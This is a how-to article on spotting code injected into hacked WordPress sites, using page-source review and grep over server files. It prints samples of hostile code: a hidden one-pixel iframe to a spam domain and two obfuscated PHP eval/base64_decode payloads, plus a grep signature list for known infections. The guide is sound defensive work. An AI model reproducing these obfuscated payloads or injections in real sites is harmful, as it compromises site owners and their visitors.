Cleaning Up Hacked Wordpress Sites - Part One: Identifying the Problem

One of the more common issues I've had to deal with in the area of website technical support is that of wordpress sites getting hacked. I've seen hacks perpetrated by various hacker groups (typically these are flamboyant and overwrite the index.php/index.html files), and I've seen hacks that consist of a small segment of code being injected automatically (by a script of some sort) into every php file on the site. Having dealt with these hacks frequently, I have come up with a few methods of sniffing out the problems that might exist and dealing with them.

The methods of identifying the hacked content is intended for use after you already know there is a problem with the site (typically google picks up the hack if it's malicious in nature and warns people off the page, and if it isn't then it's probably an overwritten index.php file, in which case you'd be able to see it any time you view the site), however they could also be run to check for issues - just be aware that they're not meant to be a 'find out if I got hacked' tool, but rather a starting point for figuring out what's wrong.  This article will deal primarily with tracking down code that was injected into your site; if you've been hacked by someone overwriting your index.php file (or something similar) then you're going to want to check out Part Two. If you aren't sure that you've been hacked but want to check, here's a good tool to use.

Identifying the Problem:


Step one is simple: View Source

The first thing that I always do when trying to find where a site is compromised is I load up the home page, right click somewhere in the body, and select 'view source'.  Here you're looking for anything that sticks out.  So typically, wordpress sites have a head with meta tags, a bunch of javascript libraries (always look at the names of these and make sure they sound sane - things like 'jquery-scroller-1.4.js' are probably okay, while things like 'dfsaa.js'...  Probably not.), and then a lot of html mark-up including comments around the container elements.  Depending on the theme used, they will also include things such as 'previous' and 'next' buttons, which are often rendered through javascript at the end of the file.

What you're looking for is typically something either at the very top of the file or at the very bottom of the file.  Iframes, javascript calls that you don't recognize or understand (or that shouldn't be where they are), or any references to a domain other than the one you're currently working on are all highly suspect.  The rule to remember here is: if you don't know what something is, copy a recognizable part of the questionable text and perform a google search on it.  If a lot of references come up to wordpress api, then it's likely okay.

Here are some examples of some bad HTML you might find:

<!-- . --><iframe src="http://freemoney.bigmoney.biz/index.php" width="1" frameborder="0" height="1"></iframe><!-- . -->



Step two: command-line commands

Now that you have gone through the source, you have either found or not found the problem code - now you just need to know what files it's in.  Wordpress uses a lot of included files to build its pages, so wading through these manually can be a huge time-waster.  Easier by far is using the command line to do the searching for you!  I use PuTTY, which is a free SSH client.  You'll need SSH access to your web server for this, so ensure that you are able to access the server through SSH before trying this out.

Most servers have a very useful command enabled: 'grep'.  If you aren't familiar with grep, I suggest you do some reading up on it - for our purposes, grep allows you to search through a file's contents and return a list of files that have the search string within them.  So if you found that someone had put a reference to http://example.com in your site, you could load up PuTTY, navigate to the html directory, then type grep -Ril "example.com" *

Be careful with what you search on as special characters will mess your searches up.

I've compiled a list of the most frequently-used hacks along with a master grep command that I can run:

grep -Ril "freemoney\|versio:2.06\|c3284d\|helpfulfewest\|euhong\|cyberzone\|status=location;document.write\|km0ae9gr6m\|qhk6sa6g1c\|volkanbilenler\|climalise.fr\|olinsunk\|base64_decode\|icerfdasw\|smallfish\|madskill" *

This searches on base64 encode commands (which are very common in hacks), but some wordpress files have these in them legitimately.  For example, these pages will commonly come up when the above command is run against a wordpress site:

wp-includes/class-simplepie.php
wp-includes/comment-template.php
wp-includes/class-wp-atom-server.php
wp-includes/class-IXR.php

In these cases, use common sense - if the file looks like it's part of the wordpress install, it probably is, and it will usually have comments at the top identifying it as such.  If I can't figure out if the file should be there or not, I resort to downloading a fresh copy of wordpress and checking to see if the file exists there.  In this case, you have to ensure that you're checking against the same version of wordpress as the wordpress install your site is running.

Some examples of PHP code that you might find:

#c3284d# eval(gzinflate(base64_decode("JYxLDoMwDAX3lbhD5ANglSVQepFsoshRoGka4centwfEdjQz4uPPUK9+HgsM/kVeliA7eHKru7Elo7M/eQRKyxwllbCkIJso6izg97M5pey+V53G/FE4qKWh53sxUFc9Dg=="))); #/c3284d#

/*}p,*/eval/*Y+,'T*/(/*R)xZ1*/base64_decode/*V FGWSIFC*/(/*wv&amp;U.4*/'Lyo2cXxJKi9ldmFsLyp8VykqLygvKlQxeHIqL2Jhc2U2NF9kZWNvZGUvKl13LDV8Ki8oLypfSWlUKi8nTHlwS1VD'/*9;R8{*/./*icvZ*/'aHhaeW92YVdZdktqWkZKMDBnS2k4b0x5cDJTMFpnYkNvdmFYJy8qbSVkRyovLi8qZTUteCovJ056WlhRdktqVnBY'/*VY,V`},*/./*Bx|&gt;:SR*/'U292S0M4cWFUWmRUek10T0NvdkpGOVNSVkZWUlZOVScvKno3dHsqLy4vKkhnbzZoViovJ0x5cDRabElyUXlvdld5'/*3-Dzd*/./*nw:F|M*/'OHFPRjV4UlMwcUx5ZHFKeThxV3k0c2JsSXFMeScvKkF1aFFLKi8uLypXY2lzYj84fWUqLyc0dktuUTdjRE54ZFNv'/*|FFK*/./*w{&amp;*/'dkozZ25MeXBtUVVRNFJpb3ZMaThxVmpCNVIyODInLypONFBAaUUqLy4vKmpPNFBJdiovJ0tpOG5kaWN2S2x3dVFr'/*1j't*/./*:oJJy*/'TTVReW92TGk4cU5FRTJOVDFJS2k4bmVpY3ZLaScvKm0mcV1YUk9KKi8uLyo5XEd5PSovJ3d0TWlvdkxpOHFXblpq'/*@e\`*/./*lL[gEb*/'U0NkbVZ5b3ZKMkVuTHlvc2FHcHVLaTlkTHlwSCcvKi5AMX07RCovLi8qbUw4QSovJ1FtMHVkSFptS2k4dktpZG9j'/*, ]Bm*/./*txA*/'RHRXYXp3cUx5a3ZLamwyWUY1VUtpOHZLbCcvKnhZem5FQSovLi8qU316M2pWYEUqLyc0blZUOHFMeWt2S2x4ZVBH'/*.l=;Yh*/./*kwUR*/'UkJLaTlsZG1Gc0x5by9SQ3h0VENvdktDOHEnLypzeVoqLy4vKlNiTzwpLjYqLydVQ0ZYVnlvdmMzUnlhWEJ6YkdG'/*[?d*/./*F;Bq*/'emFHVnpMeXBZYUNCVGFTb3ZLQzhxTTInLypOdTIqLy4vKlRfIV8qLydNbmNpb3ZKRjlTUlZGVlJWTlVMeXBNWGpw'/*%us~*/./*eHIK*/'Q0tpOWJMeW82WWs5dmVtMXgnLyo6XVYrKi8uLypAfT92ayovJ0tpOG5haWN2S20wK04xeFJMQ292TGk4cUxrUlBj'/*gRXq*/./*pIcuU*/'U3N6ZFNvdkozZ25MeScvKkg/W29WX14qLy4vKi0rPThzKi8ncFpVSG9nS2k4dUx5cHJRV1ZBZGlvdkozWjZZU2N2'/*Fafc-tw*/./*`QG9I*/'S204K1RreHRSa2txJy8qczE5KEcqLy4vKntIQyBpKi8nTDEwdkttQkFURGd6ZFNvdkx5cHdRalZrWENvdktTOHFT'/*9kQn%k&gt;*/./*)91*/'VkJYYWxkZ09pJy8qLmVgZDk+Ki8uLyp6NXsqLydvdkx5cEFkVTlaWXlvdktTOHFPRnhvSlNvdkx5cFRjM0JFT1hZ'/*1O9hlX*/./*xHy(*/'cUx6c3ZLbkkrTzBnL1JTb3YnLyo1Ond2SCovKS8qPU0xdSovLypNcDpXKi8pLypOMWN0Ki8vKkF9O2wqLzsvKnB3c04/Ki8='/*MS&amp;!M*/)/*5(nFwS*//*-EaF).*/)/*m!x*//*pU^M*/;/*''-*/

As you can see, PHP threats are ugly, and a little bit scary.  You can see what these scripts actually do by running a decoder on them, such as the one found at http://ddecode.com/phpdecoder/.

If you see something resembling any of these examples on your site, chances are you don't want it there.

Tags: